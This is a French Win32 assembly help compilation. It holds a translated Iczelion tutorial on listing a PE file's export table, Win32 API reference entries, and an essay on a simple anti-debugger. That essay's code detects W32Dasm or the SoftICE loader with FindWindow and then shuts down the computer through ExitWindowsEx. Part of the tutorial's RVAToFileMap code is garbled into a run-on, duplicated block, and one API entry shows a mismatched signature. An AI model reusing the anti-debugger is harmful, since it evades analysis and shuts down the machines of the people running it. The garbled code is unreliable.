invoke DialogBoxParam, eax, IDD_MAINDLG,NULL,addr DlgProc, 0
invoke ExitProcess, 0

DlgProc proc hDlg:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
.if uMsg==WM_INITDIALOG
   invoke SendDlgItemMessage,hDlg,IDC_EDIT,EM_SETLIMITTEXT,0,0
.elseif uMsg==WM_CLOSE
   invoke EndDialog,hDlg,0
.elseif uMsg==WM_COMMAND
   .if lParam==0
     mov eax,wParam
     .if ax==IDM_OPEN
       invoke ShowExportFunctions,hDlg
     .else ; IDM_EXIT
       invoke SendMessage,hDlg,WM_CLOSE,0,0
     .endif
   .endif
.else
   mov eax,FALSE
   ret
.endif
mov eax,TRUE
ret
DlgProc endp

SEHHandler proc C pExcept:DWORD, pFrame:DWORD, pContext:DWORD, pDispatch:DWORD
mov edx,pFrame
assume edx:ptr SEH
mov eax,pContext
assume eax:ptr CONTEXT
push [edx].SafeOffset
pop [eax].regEip
push [edx].PrevEsp
pop [eax].regEsp
push [edx].PrevEbp
pop [eax].regEbp
mov ValidPE, FALSE
mov eax,ExceptionContinueExecution
ret
SEHHandler endp

ShowExportFunctions proc uses edi hDlg:DWORD
LOCAL seh:SEH
mov ofn.lStructSize,SIZEOF ofn
mov ofn.lpstrFilter, OFFSET FilterString
mov ofn.lpstrFile, OFFSET buffer
mov ofn.nMaxFile,512
mov ofn.Flags, OFN_FILEMUSTEXIST or OFN_PATHMUSTEXIST or OFN_LONGNAMES or OFN_EXPLORER or OFN_HIDEREADONLY
invoke GetOpenFileName, ADDR ofn
.if eax==TRUE
   invoke CreateFile, addr buffer, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
   .if eax!=INVALID_HANDLE_VALUE
     mov hFile, eax
     invoke CreateFileMapping, hFile, NULL, PAGE_READONLY,0,0,0
     .if eax!=NULL
       mov hMapping, eax
       invoke MapViewOfFile,hMapping,FILE_MAP_READ,0,0,0
       .if eax!=NULL
         mov pMapping,eax
         assume fs:nothing
         push fs:[0]
         pop seh.PrevLink
         mov seh.CurrentHandler,offset SEHHandler
         mov seh.SafeOffset,offset FinalExit
         lea eax,seh
         mov fs:[0], eax
         mov seh.PrevEsp,esp
         mov seh.PrevEbp,ebp
         mov edi, pMapping
         assume edi:ptr IMAGE_DOS_HEADER
         .if [edi].e_magic==IMAGE_DOS_SIGNATURE
           add edi, [edi].e_lfanew
           assume edi:ptr IMAGE_NT_HEADERS
           .if [edi].Signature==IMAGE_NT_SIGNATURE
             mov ValidPE, TRUE
           .else
             mov ValidPE, FALSE
           .endif
         .else
           mov ValidPE,FALSE
         .endif
FinalExit:
         push seh.PrevLink
         pop fs:[0]
         .if ValidPE==TRUE
           invoke ShowTheFunctions, hDlg, edi
         .else
           invoke MessageBox,0, addr NotValidPE, addr AppName, MB_OK+MB_ICONERROR
         .endif
         invoke UnmapViewOfFile, pMapping
       .else
         invoke MessageBox, 0, addr FileMappingError, addr AppName, MB_OK+MB_ICONERROR
       .endif
       invoke CloseHandle,hMapping
     .else
       invoke MessageBox, 0, addr FileOpenMappingError, addr AppName, MB_OK+MB_ICONERROR
     .endif
     invoke CloseHandle, hFile
   .else
     invoke MessageBox, 0, addr FileOpenError, addr AppName, MB_OK+MB_ICONERROR
   .endif
.endif
ret
ShowExportFunctions endp

AppendText proc hDlg:DWORD,pText:DWORD
invoke SendDlgItemMessage,hDlg,IDC_EDIT,EM_REPLACESEL,0,pText
invoke SendDlgItemMessage,hDlg,IDC_EDIT,EM_REPLACESEL,0,addr CRLF
invoke SendDlgItemMessage,hDlg,IDC_EDIT,EM_SETSEL,-1,0
ret
AppendText endp

RVAToFileMap PROC uses edi esi edx ecx pFileMap:DWORD,RVA:DWORD
mov esi,pFileMap
assume esi:ptr IMAGE_DOS_HEADER
add esi,[esi].e_lfanew
assume esi:ptr IMAGE_NT_HEADERS
mov edi,RVA ; edi == RVA
mov edx,esi
add edx,sizeof IMAGE_NT_HEADERS
mov cx,[esi].FileHeader.NumberOfSections
movzx ecx,cx
assume edx:ptr IMAGE_SECTION_HEADER
.while ecx>0
   .if edi>=[edx].VirtualAddress
     mov eax,[edx].VirtualAddress
     add eax,[edx].SizeOfRawData
     .if edi<eax ; The address is in this section mov eax,[edx].VirtualAddress sub edi,eax edi == difference between specified RVA and's eax,[edx].PointerToRawData add eax,edi eax == file offset eax,pFileMap ret .endif edx,sizeof IMAGE_SECTION_HEADER dec ecx .endw assume edx:nothing esi:nothing RVAToFileMap endp ShowTheFunctions proc uses esi ebx hDlg:DWORD, pNTHdr:DWORD LOCAL temp[512]:BYTE NumberOfNames:DWORD Base:DWORD AddressOfFunctions:DWORD AddressOfNameOrdinals:DWORD edi,pNTHdr edi:ptr IMAGE_NT_HEADERS edi, [edi].OptionalHeader.DataDirectory.VirtualAddress .if invoke MessageBox,0, addr NoExportTable,addr AppName,MB_OK+MB_ICONERROR SetDlgItemText,hDlg,IDC_EDIT,0 AppendText,hDlg,addr buffer RVAToFileMap,pMapping,edi IMAGE_EXPORT_DIRECTORY eax,[edi].NumberOfFunctions RVAToFileMap, pMapping,[edi].nName wsprintf, temp,addr ExportTable,eax,[edi].nBase,[edi].NumberOfFunctions,[edi].NumberOfNames,[edi].AddressOfFunctions,[edi].AddressOfNames,[edi].AddressOfNameOrdinals temp push [edi].NumberOfNames pop NumberOfNames [edi].nBase Base [edi].AddressOfFunctions AddressOfFunctions RVAToFileMap,pMapping,AddressOfFunctions AddressOfFunctions,eax esi,[edi].AddressOfNames RVAToFileMap,pMapping,esi esi,eax ebx,[edi].AddressOfNameOrdinals RVAToFileMap,pMapping,ebx ebx,eax AddressOfNameOrdinals,ebx Header edi,AddressOfFunctions .while><eax
       mov eax,[edx].VirtualAddress
       sub edi,eax
       mov eax,[edx].PointerToRawData
       add eax,edi
       add eax,pFileMap
       ret
     .endif
   .endif
   add edx,sizeof IMAGE_SECTION_HEADER
   dec ecx
.endw
assume edx:nothing
assume esi:nothing
mov eax,edi
ret
RVAToFileMap endp

ShowTheFunctions proc uses esi ecx ebx hDlg:DWORD, pNTHdr:DWORD
LOCAL temp[512]:BYTE
LOCAL NumberOfNames:DWORD
LOCAL Base:DWORD

mov edi,pNTHdr
assume edi:ptr IMAGE_NT_HEADERS
mov edi, [edi].OptionalHeader.DataDirectory.VirtualAddress
.if edi==0
  invoke MessageBox,0, addr NoExportTable,addr AppName,MB_OK+MB_ICONERROR
  ret
.endif
invoke SetDlgItemText,hDlg,IDC_EDIT,0
invoke AppendText,hDlg,addr buffer
invoke RVAToFileMap,pMapping,edi
mov edi,eax
assume edi:ptr IMAGE_EXPORT_DIRECTORY
mov eax,[edi].NumberOfFunctions
invoke RVAToFileMap, pMapping,[edi].nName
invoke wsprintf, addr temp,addr ExportTable, eax, [edi].nBase, [edi].NumberOfFunctions, [edi].NumberOfNames, [edi].AddressOfFunctions, [edi].AddressOfNames, [edi].AddressOfNameOrdinals
invoke AppendText,hDlg,addr temp
invoke AppendText,hDlg,addr Header
push [edi].NumberOfNames
pop NumberOfNames
push [edi].nBase
pop Base
invoke RVAToFileMap,pMapping,[edi].AddressOfNames
mov esi,eax
invoke RVAToFileMap,pMapping,[edi].AddressOfNameOrdinals
mov ebx,eax
invoke RVAToFileMap,pMapping,[edi].AddressOfFunctions
mov edi,eax
.while NumberOfNames>0
   invoke RVAToFileMap,pMapping,dword ptr [esi]
   mov dx,[ebx]
   movzx edx,dx
   mov ecx,edx
   shl edx,2
   add edx,edi
   add ecx,Base
   invoke wsprintf, addr temp,addr template,dword ptr [edx],ecx,eax
   invoke AppendText,hDlg,addr temp
   dec NumberOfNames
   add esi,4
   add ebx,2
.endw
ret
ShowTheFunctions endp
end start

Analyse:

mov edi,pNTHdr
assume edi:ptr IMAGE_NT_HEADERS
mov edi, [edi].OptionalHeader.DataDirectory.VirtualAddress
.if edi==0
  invoke MessageBox,0, addr NoExportTable,addr AppName,MB_OK+MB_ICONERROR
  ret
.endif

Après que le programme ait vérifié que le fichier était un PE File valide, il va au répertoire des données et récupère l'adresse virtuelle de la table des exportations. Si l'adresse virtuelle est nulle, le fichier n'a aucun symbole exporté.

mov eax,[edi].NumberOfFunctions
invoke RVAToFileMap, pMapping,[edi].nName
invoke wsprintf, addr temp,addr ExportTable, eax, [edi].nBase, [edi].NumberOfFunctions, [edi].NumberOfNames, [edi].AddressOfFunctions, [edi].AddressOfNames, [edi].AddressOfNameOrdinals
invoke AppendText,hDlg,addr temp

Nous affichons les informations importantes de la structure IMAGE_EXPORT_DIRECTORY dans le contrôle d'édition.

push [edi].NumberOfNames
pop NumberOfNames
push [edi].nBase
pop Base

Puisque nous souhaitons énumérer tous les noms des fonctions, nous avons besoin de savoir combien de noms il y a dans la table des exportations. nBase est employé lorsque nous voulons convertir les index dans le tableau AddressOfFunctions en n° d'ordre.

invoke RVAToFileMap,pMapping,[edi].AddressOfNames
mov esi,eax
invoke RVAToFileMap,pMapping,[edi].AddressOfNameOrdinals
mov ebx,eax
invoke RVAToFileMap,pMapping,[edi].AddressOfFunctions
mov edi,eax

Les adresses des trois tableaux sont stockées dans esi, ebx et edi, prêt pour qu'on puisse y accéder.

.while NumberOfNames>0

Continue tant que tous les noms n'aient pas été traités.

   invoke RVAToFileMap,pMapping,dword ptr [esi]

Puisque esi pointe sur un tableau contenant les RVAs des noms exportés, ça nous donne le RVA du nom actuel. On le convertit en une adresse virtuelle, pour pouvoir l'utiliser dans l'API wsprintf plus tard.

   mov dx,[ebx]
   movzx edx,dx
   mov ecx,edx
   add ecx,Base

ebx pointe sur le tableau des n° d'ordre. Les éléments de ce tableau sont de taille WORD. C'est pourquoi nous avons besoin de convertir ces valeur en dword d'abord. edx et ecx contiennent les index dans le tableau AddressOfFunctions. Nous emploierons edx en tant que pointer dans le tableau AddressOfFunctions. Et nous ajoutons la valeur de nBase à ecx pour obtenir le numéro d'ordre de la fonction.

   shl edx,2
   add edx,edi

On multiplie l'index par 4 (car chaque élément du tableau AddressOfFunctions est d'une taille de 4 octets) et on y ajoute ensuite l'adresse du tableau AddressOfFunctions. Comme ça edx représente le RVA de la fonction.

   invoke wsprintf, addr temp,addr template,dword ptr [edx],ecx,eax
   invoke AppendText,hDlg,addr temp

On affiche le RVA, le n° d'ordre et le nom de la fonction dans le contrôle d'édition.

   dec NumberOfNames
   add esi,4
   add ebx,2
.endw

On rafraîchit le compteur ainsi que les adresses des éléments actuels dans les tableaux AddressOfNames et AddressOfNameOrdinals. On continue tant que tous les noms n'aient été traités.

[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


HTMLHelp File Created Using:

Web2HTMLHelp 		Free To Download From:
http://www.web2htmlhelp.co.uk

Also Available:
HTMLHelp ePublisher
HTMLHelp eDocument Creation Made Easy

Free To Download From:
http://www.htmlhelp-epublisher.co.uk

[ Back ]


Version 1.0
Par Morgatte
Compilé en chm
Par SPOKE3FFF
http://xtx.free.fr/
Team ODC_MARS 2008
Introduction aux APIs Win32
et divers tutoriaux sur l'ASM
-AdjustWindowRect
-AdjustWindowRectEx
-AnyPopup
-AppendMenu
-ArrangeIconicWindows
-BeginDeferWindowPos
-BringWindowToTop
-CallMsgFilter
-CallNextHookEx
-CallWindowProc
-CallWndProc
-CBTProc
-CharLower
-CharUpper
-CheckDlgButton
-CheckMenuItem
-CheckRadioButton
-ChildWindowFromPoint
-ChooseColor
-ChooseFont
-CloseHandle
-CloseWindow
-CommDlgExtendedError
-CompareFileTime
-CompareStringW
-ContinueDebugEvent
-CreateDialog
-CreateDialogIndirect
-CreateDialogIndirectParam
-CreateDialogParam
-CreateFile
-CreateMenu
-CreatePopupMenu
-CreateProcess
-CreateToolbarEx
-CreateWindow
-CreateWindowEx
-DebugActiveProcess
-DebugBreak
-DebugProc
-DeferWindowPos
-DefDlgProc
-DefHookProc
-DefWindowProc
-DeleteMenu
-DestroyMenu
-DestroyWindow
-DialogBox
-DialogBoxIndirect
-DialogBoxIndirectParam
-DialogBoxParam
-DialogProc
-DispatchMessage
-DosDateTimeToFileTime
-DrawMenuBar
-EnableMenuItem
-EndDeferWindowPos
-EndDialog
-EnumChildProc
-EnumChildWindows
-EnumThreadWindows
-EnumThreadWndProc
-EnumWindows
-EnumWindowsProc
-ExitProcess
-ExitWindowsEx
-FatalAppExit
-FatalExit
-FileTimeToDosDateTime
-FileTimeToSystemTime
-FindText
-FindWindow
-GetClientRect
-GetCommandLine
-GetCurrentDirectory
-GetCurrentTime
-GetDesktopWindow
-GetDialogBaseUnits
-GetDlgCtrlID
-GetDlgItem
-GetDlgItemInt
-GetDlgItemText
-GetDriveType
-GetExceptionCode
-GetExceptionInformation
-GetFileAttributes
-GetFileTime
-GetFileTitle
-GetFocus
-GetForegroundWindow
-GetLastActivePopup
-GetLocalTime
-GetLogicalDrives
-GetLogicalDriveStrings
-GetMenu
-GetMenuCheckMarkDimensions
-GetMenuItemCount
-GetMenuItemID
-GetMenuState
-GetMenuString
-GetMessage
-GetModuleHandle
-GetMsgProc
-GetNextDlgGroupItem
-GetNextDlgTabItem
-GetNextWindow
-GetOpenFileName
-GetParent
-GetPrivateProfileInt
-GetPrivateProfileSection
-GetPrivateProfileString
-GetProcAddress
-GetSaveFileName
-GetStartupInfo
-GetSubMenu
-GetSystemDirectory
-GetSystemMenu
-GetSystemTime
-GetSystemTimeAsFileTime
-GetThreadContext
-GetTickCount
-GetTopWindow
-GetWindow
-GetWindowLong
-GetWindowPlacement
-GetWindowRect
-GetWindowText
-GetWindowTextLength
-GetWindowThreadProcessId
-GetWindowWord
-HiliteMenuItem
-InsertMenu
-IsCharAlpha
-IsCharAlphaNumeric
-IsChild
-IsDialogMessage
-IsDlgButtonChecked
-IsIconic
-IsMenu
-IsWindow
-IsWindowUnicode
-IsWindowVisible
-IsZoomed
-JournalPlaybackProc
-JournalRecordProc
-KeyboardProc
-KillTimer
-LoadBitmap
-LoadCursor
-LoadIcon
-LoadMenu
-LoadMenuIndirect
-lstrcat
-lstrcmp
-lstrcmpi
-lstrcpy
-lstrlen
-MapDialogRect
-MessageBeep
-MessageBox
-MessageBoxEx
-MessageBoxIndirect
-MessageProc
-ModifyMenu
-MouseProc
-MoveWindow
-MultiByteToWideChar
-OpenIcon
-OutputDebugString
-PostMessage
-PostQuitMessage
-PrintDlg
-RaiseException
-ReadProcessMemory
-RegCloseKey
-RegCreateKeyEx
-RegisterClassEx
-RegEnumKeyEx
-RegOpenKeyEx
-RegQueryInfoKey
-RegQueryValueEx
-RegSetValueEx
-RemoveMenu
-ReplaceText
-SendDlgItemMessage
-SendMessage
-SendNotifyMessage
-SetDlgItemInt
-SetDlgItemText
-SetFilePointer
-SetFileTime
-SetFocus
-SetForegroundWindow
-SetMenu
-SetMenuItemBitmaps
-SetParent
-SetSystemTime
-SetTimer
-SetUnhandledExceptionFilter
-SetWindowLong
-SetWindowPos
-SetWindowsHook
-SetWindowsHookEx
-SetWindowText
-SetWindowWord
-ShellExecute
-ShellProc
-ShowOwnedPopups
-ShowWindow
-SysMsgProc
-SystemTimeToFileTime
-TerminateProcess
-TimerProc
-TrackPopupMenu
-TranslateMessage
-UnhandledExceptionFilter
-UnhookWindowsHook
-UnhookWindowsHookEx
-UpdateWindow
-WaitForDebugEvent
-WindowFromPoint
-WindowProc
-WinMain
-WriteFile
-WritePrivateProfileString
-WriteProcessMemory
-WSprintF
CBT_CREATEWND
CBTACTIVATESTRUCT
CHOOSECOLOR
CHOOSEFONT
CONTEXT
CREATE_PROCESS_DEBUG_INFO
CREATE_THREAD_DEBUG_INFO
CWPSTRUCT
DEBUG_EVENT
DEBUGHOOKINFO
DLGTEMPLATE
EVENTMSG
EXCEPTION_DEBUG_INFO
EXCEPTION_POINTERS
EXCEPTION_RECORD
EXIT_PROCESS_DEBUG_INFO
EXIT_THREAD_DEBUG_INFO
FILETIME
FINDREPLACE
LOAD_DLL_DEBUG_INFO
MOUSEHOOKSTRUCT
MSG
OPENFILENAME
OUTPUT_DEBUG_STRING_INFO
POINT
PROCESSINFORMATION
RECT
STARTUPINFO
SYSTEMTIME
TBBUTTON
UNLOAD_DLL_DEBUG_INFO
WINDOWPLACEMENT
WNDCLASS

Voici en Français quelques unes des multiples APIs existantes. Ne prenez pas ces traductions pour un ensemble parfait. Il y aura toujours certaines choses plus ou moins dures à faire passer et plus simplement à comprendre d'une langue à une autre. Aussi je pense que le bon comportement est de lire ici même ce à quoi vous vous intéressez pour vous faire une idée puis reprendre les textes originaux en Anglais pour affiner par vous même les petits points que je n'aurai peut-être pas su vous faire passer.
Quoi qu'il en soit, puisque vous êtes là pour programmer je souhaite que cette doc facilitera votre tâche pour créer vos codes, et pour les autres d'encore mieux percer le langage assembleur, On se comprend n'est-ce pas!

Sachez déjà que cette version n'est pas une fin en soit. Je ne dis pas que ce document sera réactualisé tous les premiers du mois, loin de là, mais vous trouverez toujours la dernière actualisation sur http://www.masm32.com/ sous le nom de 'Win32 APIs (Fr)'.


AbnormalTermination (new for Win32)

BOOL AbnormalTermination(VOID)

La fonction AbnormalTermination détermine si un programme c'est terminé normalement.

Retours

La valeur en retour est TRUE s'il s'est  terminé par une exception. La valeur en retour est
FALSE s'il s'est terminé normalement, en ayant pu exécuter sa fermeture entièrement.

Voir Aussi

GetExceptionCode


AdjustWindowRect (Win32)

BOOL AdjustWindowRect(lprc, fdwStyle, fMenu)

LPRECT lprc;	/* adresse de la structure client-rectangle */
DWORD fdwStyle;	/* styles de fenêtre */
BOOL fMenu;	/* flag du menu-present */
La fonction AdjustWindowRect calcule la taille (extérieure) voulue du rectangle d'une fenêtre, à partir de la taille du rectangle de son client-area désirée (client-area c'est la zone intérieure dans laquelle on peut écrire du texte). On peut alors passer le rectangle de fenêtre à la fonction CreateWindow pour créer une fenêtre avec un secteur client (Client-area) à la taille qu'on voulait avoir.

Paramètre 	 Description

lprc 	 	 Pointe sur une structure RECT laquelle contient les coordonnées du rectangle
         du secteur client.
fdwStyle 	 Spécifie le style de la fenêtre en lequel le rectangle client doit être
         converti.
fMenu 	 	 Spécifie si la fenêtre possède un menu.
Retours

La valeur en retour est TRUE si la fonction est couronnée de succès, ou FALSE si une erreur s'est produite. Utilisez la fonction GetLastError pour obtenir l'information à propos de l'erreur étendue.

Commentaires

Dans une fenêtre, le rectangle client est le plus petit rectangle qui inclure complètement le secteur client. Un rectangle de fenêtre est le plus petit rectangle qui inclut la fenêtre en entier.
AdjustWindowRect ne prend ni le titres ni les bords en considération en calculant la taille du secteur client. Pour les styles de fenêtre qui incluent des titres et des bords, les applications (programmes) doivent ajouter la taille du titre et des bords après le Call AdjustWindowRect. Cette fonction ne prend pas non plus de rangées supplémentaires en considération lorsque une barre de menu enveloppe deux ou plusieurs rangées.

Voir Aussi

AdjustWindowRectEx, CreateWindowEx


AdjustWindowRectEx (Win32)

BOOL AdjustWindowRect(lprc, fdwStyle, fMenu)

LPRECT lprc;		/* adresse de la structure client-rectangle */
DWORD fdwStyle;		/* styles de fenêtre */
BOOL fMenu;		/* flag du menu-present */
DWORD fdwExStyle;	/* style suplémentaire */
La fonction AdjustWindowRect calcule la taille (extérieure) voulue du rectangle d'une fenêtre, à partir de la taille du rectangle de son client-area (ou Secteur Client) désirée (client-area c'est la zone intérieure dans laquelle on peut écrire du texte). On peut alors passer le rectangle de fenêtre à la fonction CreateWindow pour créer une fenêtre avec un secteur client (Client-area) à la taille qu'on voulait avoir.

Paramètre 	 Description

lprc 	 	 Pointe sur une structure RECT laquelle contient les coordonnées du rectangle
         du secteur client.
fdwStyle 	 Spécifie le style de la fenêtre en lequel le rectangle client doit être
         converti.
fMenu 	 	 Spécifie si la fenêtre possède un menu.
fdwExStyle	 Spécifie le style supplémentaire de la fenêtre à créer.
Retours

La valeur en retour est TRUE si la fonction est couronnée de succès, ou FALSE si une erreur s'est produite. Utilisez la fonction GetLastError pour obtenir l'information à propos de l'erreur étendue.

Commentaires

Dans une fenêtre, le rectangle client est le plus petit rectangle qui inclure complètement le secteur client. Un rectangle de fenêtre est le plus petit rectangle qui inclut la fenêtre en entier.
AdjustWindowRect ne prend ni le titres ni les bords en considération en calculant la taille du secteur client. Pour les styles de fenêtre qui incluent des titres et des bords, les applications (programmes) doivent ajouter la taille du titre et des bords après le Call AdjustWindowRect. Cette fonction ne prend pas non plus de rangées supplémentaires en considération lorsque une barre de menu enveloppe deux ou plusieurs rangées.

Voir Aussi

AdjustWindowRectEx, CreateWindowEx


Un Anti-Debugger très simple

J'étais comme à mon habitude en train de bidouiller un peu tout un peu n'importe quoi, et ce jour là c'était les fonctions qui tournent autour des debuggers et parmi elles FindWindow. Et j'ai pensé à un truc tout bête,..vraiment tout bête. Je n'ai jamais approfondi les systèmes anti-debugger alors peut-être et même surement que cette méthode existe déjà, mais je ne l'ai jamais rencontrée (J'ai pas trop cherché non plus :)

invoke FindWindow, addr ClassName, addr AppName ou bien
invoke FindWindow, addr ClassName, NULL

Cette fonction sert à s'attacher à un process (un programme) déjà en cours, en ne connaissant que sa ClassName (enfin une des ClassName utilisée par les différentes fenêtres du programme).
On peut en plus faire appelle à l'AppName dans le cas ou deux programmes auraient la même ClassName, pour affiner le choix de la cible.

L'idée pour s'en servir comme anti-debugger, c'est de mettre la ClassName de W32Dasm (par exemple) et ainsi en lançant notre programme, si la valeur de retour (eax) de cette fonction n'est pas nulle, c'est que Win32Dasm est bien présent. Comment retrouver la ClassName? on se sert de SoftIce.
- lancez W32Dasm pour qu'il soit présent.
Dans SoftIce:
- TASK --> pour voir quels applications sont en train de tourner, parmi elles on trouve W32dsm8.
- Class W32dsm8 --> nous donne plusieurs Class utilisées par ce programme, en particulier je trouve OWL_Window:F.

Voilà comment commencer:

-----------------------------------------------------------------------------------------------
..
...
...
.data
ClassName_Win32Dasm db "OWL_Window",0

ClassName_LoaderSoftIce1 db "TSymbolTableDlg",0
ClassName_LoaderSoftIce2 db "TsplashDlg",0
AppName_Loader db "NuMega SoftICE Symbol Loader",0 ;<--- c'est le titre de la fenêtre du prog ciblé.
...
...
.code
start:
...
...   ; <---- votre programme normal
...
    invoke FindWindow, addr ClassName_Win32Dasm, NULL
    cmp eax, 0
    jne detection ;<---- Saut si W32Dasm est détecté.

    invoke FindWindow, addr ClassName_LoaderSoftIce1, NULL
; ou bien... invoke FindWindow, addr ClassName_LoaderSoftIce1, AppName_Loader
    .if eax!=0
        invoke FindWindow, addr ClassName_LoaderSoftIce2, NULL
        cmp eax, 0
        jne detection ;<---- Saut si Loader est détecté.
    .endif
jmp suite
    detection:
    invoke ExitWindowsEx,1,0
                       ; EWX_LOGOFF    equ 0		Rafrèchir+Mot de Passe
                        ; EWX_SHUTDOWN  equ 1		Reboot=éteindre l'ordi
                    ; EWX_REBOOT    equ 2		Reboot=Redémarer l'ordi
                    ; EWX_FORCE     equ 4		Rafrèchir en profondeur+Mot Passe
                    ; EWX_POWEROFF  equ 8
    invoke ExitProcess, 0
suite:
...
...   ; <---- votre programme normal
...
...
-----------------------------------------------------------------------------------------------

Il y a juste à mettre ce bout de code en plein milieu de votre programme, n'importe où. Ou bien mettre plusieurs fois ce bout de code à plusieurs endroits...(Changez quand même les labels des sauts.)

J'ai mis un petit prog en démonstration. On peut aussi faire la même chose contre SmartCheck. J'ai pas trouvé comment faire pour Softice et je ne croix pas que cette méthode puisse fonctionner contre lui car il Run sous DOS et non pas sous Windows comme les autres.

Morgatte


AnyPopup (Win32)

BOOL AnyPopup(void)
La fonction AnyPopup cherche si une quelconque fenêtre Overlappé ou réduite présente à l'écran. La fonction recherche sur l'écran de Windows en entier, et non pas juste sur le secteur client de l'application qui se sert de cette fonction.

Retours

La valeur en retour est TRUE si une quelconque fenêtre de popup (réduite )existe, même si la fenêtre de popup est complètement recouverte par d'autres fenêtres. Sinon, on obtient la valeur FALSE si rien n'est trouvé.

Commentaires

AnyPopup fonctionne depuis Windows 1.x mais reste d'actualité pour des raisons de compatibilité. Généralement elle reste plutôt sans utilité.
Cette fonction ne détecte pas les fenêtres qui ne possèdent pas le Flag de style WS_VISIBLE.

Voir Aussi

GetLastActivePopup, ShowOwnedPopups


AppendMenu (Win32)

BOOL AppendMenu(hmenu, fuFlags, idNewItem, lpszNewItem)

HMENU hmenu;		 /* handle du menu */
UINT fuFlags;		 /* flags concernant l'Item */
UINT idNewItem;		 /* identificateur de l'Item ou bien handle d'un menu-popup */
LPCTSTR lpszNewItem;	 /* contenu de l'Item */

La fonction AppendMenu ajoute un nouvel item à la fin du menu. L'application peut employer cette fonction pour définir le contenu, l'apparence et le comportement de l'item.

Paramètre	Description

hmenu		Identifie le menu qui sera modifié.
fuFlags		Est une combinaison de plusieurs flags qui détermine le contenu, l'apparence
        et le comportement de l'item. Ce paramètre peut être une combinaison des
        valeurs inscrites dans la section Commentaires.
idNewItem	Représente soit l'identificateur de l'Item modifié (son n°ID ou sa Position,
        c'est selon) soit son handle si fuFlags est mis à MF_POPUP dans le cas d'un
        menu-popup.
lpszNewItem	Spécifie le contenu de l'item qui doit être modifié. L'interprétation de ce
        paramètre dépend du paramètre fuFlags, si fuFlags inclut MF_STRING alors
        IpszNewItem pointe sur une chaîne de caractères (du texte), sinon si c'est
        MF_BITMAP, ou MF_OWNERDRAW alors IpszNewItem pointe sur une Image.

        Valeur 		Contenu de l'Item

        MF_STRING 	Contient un pointeur qui est sur une chaîne de caractère
                terminée par un nul de terminaison (défaut).
        MF_BITMAP	Contient le handle d'un bitmap (d'une Image).
        MF_OWNERDRAW	Contient une valeur 32 bits qui sera utilisée par
                l'application pour associer des données supplémentaires
                à l'item. L'application peut trouver cette valeur dans
                le membre itemData de la structure indiquée par le
                paramètre lParam des messages WM_MEASUREITEM ou
                WM_DRAWITEM qui sont envoyés lorsque l'item est créé ou
                lorsque son apparence doit être remise à jour. (réactualisé)
Retours

La valeur en retour est TRUE si la fonction est couronnée de succès ou FALSE si une erreur se produit. Pour obtenir l'information à propos de l'erreur étendue, utilisez la fonction GetLastError.

Commentaires

La fonction ModifyMenu peut être employée soit en tant que fonction à caractère large (où les arguments de texte doivent employer l'Unicode) soit en tant que fonction ANSI (où les arguments de texte doivent employer des caractères du jeu de Windows 3.x).

Chaque fois qu'un quelconque changement intervient sur un menu (seulement si le menu est déjà affiché dans la fenêtre), l'application doit appeler la fonction DrawMenuBar. Pour changer des attributs de ses items, il est beaucoup plus rapide utiliser les Fonctions EnableMenuItem et CheckMenuItem.

La liste suivante représente les groupes de flags qui ne peut pas être employé ensemble :

MF_BYCOMMAND et MF_BYPOSITION
MF_DISABLED, MF_ENABLED et MF_GRAYED
MF_BITMAP, MF_STRING, MF_OWNERDRAW et MF_SEPARATOR
MF_MENUBARBREAK et MF_MENUBREAK
MF_CHECKED et MF_UNCHECKED

La liste suivante représente les flags qui peuvent être placés dans le paramètre fuFlags :

Valeur		Signification

MF_BITMAP	On emploie un bitmap en tant qu'Item. Le paramètre lpszNewItem contient le
        handle de ce bitmap (image).
MF_BYCOMMAND	Indique que le paramètre uItem représente le n°ID de l'Item ou l'handle si
        c'est un menu-popup (c'est le Flag par défaut).
MF_BYPOSITION	Indique que le paramètre uItem représente la position zéro-basée relative du
        nouvel item.
MF_CHECKED	Place une marque de contrôle à côté de l'item. Si l'application a prévu un
        bitmap de contrôle en tant que 'marque' (voir la fonction SetMenuItemBitmaps),
        en mettant ce flag un bitmap sera affiché à côté de l'item.
MF_DISABLED	Désactive l'item pour qu'il ne puisse plus être choisi, mais ne ça ne le grise
        pas.
MF_ENABLED	Active (ou réactive) l'item pour qu'il puisse être sélectionné et le rétabli à
        son état dégrisé si il l'était précédemment.
MF_GRAYED	Grise et désactive l'item pour qu'il ne puisse pas être sélectionné.
MF_MENUBARBREAK	Idem MF_MENUBREAK sauf que, pour les menus-popup, ça insère une ligne verticale
        pour séparer la nouvelle colonne de l'ancienne.
MF_MENUBREAK	Place un item sur une nouvelle ligne (pour les items d'une barre de menu).
        Pour les items d'un menu-popup, ça place un item dans une nouvelle colonne,
        sans ligne de séparation entre les colonnes.
MF_OWNERDRAW	Spécifie que l'item est une image non prédéterminée (une image quelconque).
        La fenêtre qui possède le menu reçoit un message WM_MEASUREITEM avant que le
        menu ne soit affiché pour la première fois pour retrouver la largeur et la
        hauteur de l'image constituant cet item. Le message WM_DRAWITEM est ensuite
        envoyé à la procédure de fenêtre de la fenêtre qui possède cet item à chaque
        apparition de cet item pour le remettre à jour. (pour le rafraîchir)
MF_POPUP	Indique que l'item est un item-popup; c'est-à-dire que le fait de le choisir
        invoque un menu-popup. Le paramètre idNewItem représente le handle du
        menu-popup. Ce flag est employé pour ajouter un item-popup à une barre de menu
        ou à un menu-popup.
MF_SEPARATOR	Tire une ligne de séparation horizontale. Ce flag peut être employé seulement
        avec un menu-popup. La ligne de séparation ne peut ni être grisée, ni
        désactivée, ni même surlignée. Les paramètres lpszNewItem et idNewItem sont
        ignorés.
MF_STRING	Indique que l'item est une chaîne de caratères; le paramètre lpszNewItem doit
        pointer sur une chaîne de caractères.
MF_UNCHECKED	Ne place aucune zone de contrôle à côté de l'item (c'est ce qui est pris par
        défaut). Si l'application a déjà mis une marque de contrôle de type bitmap
        (une image) (voir la fonction SetMenuItemBitmaps), en mettant ce flag ça
        affiche un bitmap, sur lequel on ne pourra pas cliquer, à côté de l'item.
Voir Aussi

CreateMenu, DeleteMenu, DestroyMenu, DrawMenuBar, InsertMenu, ModifyMenu, RemoveMenu, SetMenuItemBitmaps


ArrangeIconicWindows (Win32)

UINT ArrangeIconicWindows(hwnd)

HWND hwnd;	/* handle de la fenêtre parente */

La fonction ArrangeIconicWindows réarrange au bas de l'écran toutes les fenêtres enfants réduite
au minimum, d'une fenêtre parente.

Paramètre 	 Description

